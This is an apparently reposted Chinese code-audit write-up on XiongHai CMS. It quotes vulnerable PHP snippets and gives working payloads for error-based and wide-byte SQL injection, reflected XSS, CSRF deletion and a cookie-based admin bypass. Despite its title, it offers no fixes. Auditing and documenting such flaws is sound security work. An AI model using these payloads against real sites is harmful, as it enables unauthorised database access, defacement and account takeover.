熊海CMS代码审计漏洞怎么解决(cms,开发技术)

时间:2024-05-04 06:46:07 作者 : 石家庄SEO 分类 : 开发技术
  • TAG :

    基本结构

    这里我选择使用小皮面板搭建在了本地,以便于调试错误,首先我们看看系统的结构:

    ——admin//后台⽂件——css//css⽂件——files//功能函数⽂件——images//图⽚——index.php//主⽬录⽂件——install//安装⽂件——seacmseditor//编辑器——template//模板⽂件——upload//⽂件上传⽬录

    SQL注入漏洞

    第一处

    我们跳转到admin/files/editlink.php,分析里面的一段代码:

    $id=$_GET['id'];$type=$_GET['type'];if($type==1){$query="SELECT*FROMnavWHEREid='$id'";$resul=mysql_query($query)ordie('SQL语句有误:'.mysql_error());$nav=mysql_fetch_array($resul);}

    简单分析一下,我们通过GET输入id和type,之后type与1进行对比,匹配后会执行SQL语句,了解SQL注入漏洞的朋友可能会看出这里有一个单引号闭合漏洞,我们只需在参数前进行构造闭合单引号,之后便可以成功执行自定义的SQL语句:

    r=editcolumn&type=1&id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

    需要注意的是作为结果只返回给我们SQL语句正确与否,所以这里考虑使用错报注入。

    第二处

    admin/files/editlink.php这个路径下有一段代码:

    $id=$_GET['id'];$query="SELECT*FROMlinkWHEREid='$id'";$resul=mysql_query($query)ordie('SQL语句有误:'.mysql_error());$link=mysql_fetch_array($resul);

    这里同样存在一个GET传参点,我们可以传入变量名为id的值,之后会执行SQL语句查询ID,若SQL语句有误,进行错报,因为是单引号闭合这里可以和第一处一样使用错报注入。

    id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

    第三处

    /file/download.php这个路径下的代码:

    $llink=addslashes($_GET['r']);$query="SELECT*FROMnavWHERElink='$llink'";

    可以看到里面有addslashes函数:

    熊海CMS代码审计漏洞怎么解决

    这个函数会将预定义字符转换加上反斜杠,所以我们无法进行正常的单引号闭合,需要想办法绕过,方法也很多,这里就简单用宽字节注入绕过

    r=%df%27or%20if(1,sleep(3),1)%20%23

    XSS漏洞

    第一处

    在/file/contact.php出存在漏洞代码:

    $page=addslashes($_GET['page']);<?phpecho$page?>

    可以看到直接echo出了page变量,而该变量是我们直接可以GET传入的,这里我们直接使用弹窗payload:

    <imgsrc=1onerror=alert(/xss/)>

    第二处

    在/files/content.php出,存在与第一处差不多的代码:

    $page=addslashes($_GET['page']);if($page<>""){if($page<>1){$pages="第".$page."页-";}

    我们也可以向上面一样将语句传进变量里去。

    熊海CMS代码审计漏洞怎么解决

    CSRF漏洞

    第一处

    这里以/admin/files/wzlist.php为例:

    $delete=$_GET['delete'];if($delete<>""){$query="DELETEFROMcontentWHEREid='$delete'";$result=mysql_query($query)ordie('SQL语句有误:'.mysql_error());echo"<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=wzlist'</script>";exit;

    可以看到代码执行删除SQL语句时并没有对代码进行检测,删除操作对应下面的界面:

    熊海CMS代码审计漏洞怎么解决

    我们先尝试删除然后进行抓包,抓到了删除时GET进行的传参:

    ?r=wzlist&delete=18

    之后换另一个浏览器访问整个payload,结合该系统中的一个越权操作,将user改成admin,之后访问,成功实现了跳过验证进行了删除操作。

    熊海CMS代码审计漏洞怎么解决

    当然这只是其中的一个点,softlist.php也存在类似的CSRF漏洞。

    垂直越权

    第一处

    在/inc/checklogin.php中,这里只看存在漏洞的代码:

    $user=$_COOKIE['user'];if($user==""){header("Location:?r=login");exit;

    这里直接给user的cookie值设置成admin,即可跳转管理员界面。

     </div> <div class="zixun-tj-product adv-bottom"></div> </div> </div> <div class="prve-next-news">
    本文:熊海CMS代码审计漏洞怎么解决的详细内容,希望对您有所帮助,信息来源于网络。
    上一篇:C语言中怎么在结构体内定义函数下一篇:

    4 人围观 / 0 条评论 ↓快速评论↓

    (必须)

    (必须,保密)

    阿狸1 阿狸2 阿狸3 阿狸4 阿狸5 阿狸6 阿狸7 阿狸8 阿狸9 阿狸10 阿狸11 阿狸12 阿狸13 阿狸14 阿狸15 阿狸16 阿狸17 阿狸18